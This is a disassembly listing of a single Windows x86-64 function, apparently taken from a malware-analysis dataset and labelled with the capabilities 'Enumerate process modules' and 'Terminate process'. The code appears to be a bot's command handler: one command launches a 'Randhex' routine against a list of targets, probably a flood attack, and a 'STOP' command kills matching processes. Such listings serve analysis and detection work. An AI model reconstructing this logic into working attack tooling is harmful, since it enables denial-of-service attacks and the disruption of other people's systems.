Function at 0x401fe1
Capabilities:
Enumerate process modules
Terminate process

Disassembly:
push rbp
mov eax, 0x1180
call fcn.00403d10
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x1110], ecx
mov qword [rbp + 0x1118], rdx
mov rax, qword [rbp + 0x1118]
mov rax, qword [rax]
lea rdx, str.RANDHEX
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x4021a0
cmp dword [rbp + 0x1110], 3
jle 0x402352
mov rax, qword [rbp + 0x1118]
add rax, 0x10
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
test eax, eax
jle 0x402352
mov rax, qword [rbp + 0x1118]
add rax, 0x18
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
test eax, eax
jle 0x402352
mov rax, qword [rbp + 0x1118]
mov rax, qword [rax + 8]
mov qword [rbp + 0x10c8], rax
mov rax, qword [rbp + 0x1118]
add rax, 0x10
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov dword [rbp + 0x10c4], eax
mov rax, qword [rbp + 0x1118]
add rax, 0x18
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov dword [rbp + 0x10c0], eax
mov rax, qword [rbp + 0x10c8]
mov edx, 0x2c
mov rcx, rax
call sym.strchr
test rax, rax
je 0x40215d
mov rax, qword [rbp + 0x10c8]
lea rdx, [0x0040b052]
mov rcx, rax
call sym.strtok
mov qword [rbp + 0x10f0], rax
jmp 0x40214e
mov rax, qword [0x00410050]
mov edx, eax
mov rax, qword [0x00410048]
mov rcx, rax
call sym.listFork
test eax, eax
je 0x402133
mov ecx, dword [rbp + 0x10c0]
mov edx, dword [rbp + 0x10c4]
mov rax, qword [rbp + 0x10f0]
mov r8d, ecx
mov rcx, rax
call sym.Randhex
jmp 0x40235c
lea rax, [0x0040b052]
mov rdx, rax
mov ecx, 0
call sym.strtok
mov qword [rbp + 0x10f0], rax
cmp qword [rbp + 0x10f0], 0
jne 0x4020f4
jmp 0x40206e
mov rax, qword [0x00410050]
mov edx, eax
mov rax, qword [0x00410048]
mov rcx, rax
call sym.listFork
test eax, eax
je 0x402355
mov ecx, dword [rbp + 0x10c0]
mov edx, dword [rbp + 0x10c4]
mov rax, qword [rbp + 0x10c8]
mov r8d, ecx
mov rcx, rax
call sym.Randhex
jmp 0x40235c
mov rax, qword [rbp + 0x1118]
mov rax, qword [rax]
lea rdx, str.STOP
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x402358
mov dword [rbp + 0x10fc], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x10ec], eax
mov qword [rbp + 0x10e0], 0
mov dword [rbp + 0x10dc], 0
lea rdx, [rbp + 0x10bc]
lea rax, [rbp + 0xb0]
mov r8, rdx
mov edx, 0x1000
mov rcx, rax
call sym.K32EnumProcesses
test eax, eax
je 0x40235b
mov eax, dword [rbp + 0x10bc]
shr eax, 2
mov dword [rbp + 0x10dc], eax
mov eax, dword [rbp + 0x10dc]
shl rax, 2
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x10e0], rax
mov dword [rbp + 0x10f8], 0
jmp 0x40232f
mov eax, dword [rbp + 0x10f8]
mov eax, dword [rbp + rax*4 + 0xb0]
test eax, eax
je 0x402328
mov eax, dword [rbp + 0x10f8]
mov eax, dword [rbp + rax*4 + 0xb0]
cmp dword [rbp + 0x10ec], eax
je 0x402328
mov eax, dword [rbp + 0x10f8]
mov eax, dword [rbp + rax*4 + 0xb0]
mov r8d, eax
mov edx, 0
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x10d0], rax
cmp qword [rbp + 0x10d0], 0
je 0x402328
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x10d0]
mov r9d, 0x104
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.K32GetModuleFileNameExA
test eax, eax
je 0x402315
mov rax, qword [rbp + 0x1118]
add rax, 0x10
mov rdx, qword [rax]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.strstr
test rax, rax
je 0x402315
mov rax, qword [rbp + 0x10d0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
test eax, eax
je 0x402315
add dword [rbp + 0x10fc], 1
mov rax, qword [rbp + 0x10d0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
add dword [rbp + 0x10f8], 1
mov eax, dword [rbp + 0x10f8]
cmp eax, dword [rbp + 0x10dc]
jb 0x40224c
mov rax, qword [rbp + 0x10e0]
mov rcx, rax
call sym.free
jmp 0x402358
nop
jmp 0x40235c
nop
jmp 0x40235c
nop
jmp 0x40235c
nop
add rsp, 0x1180
pop rbp
ret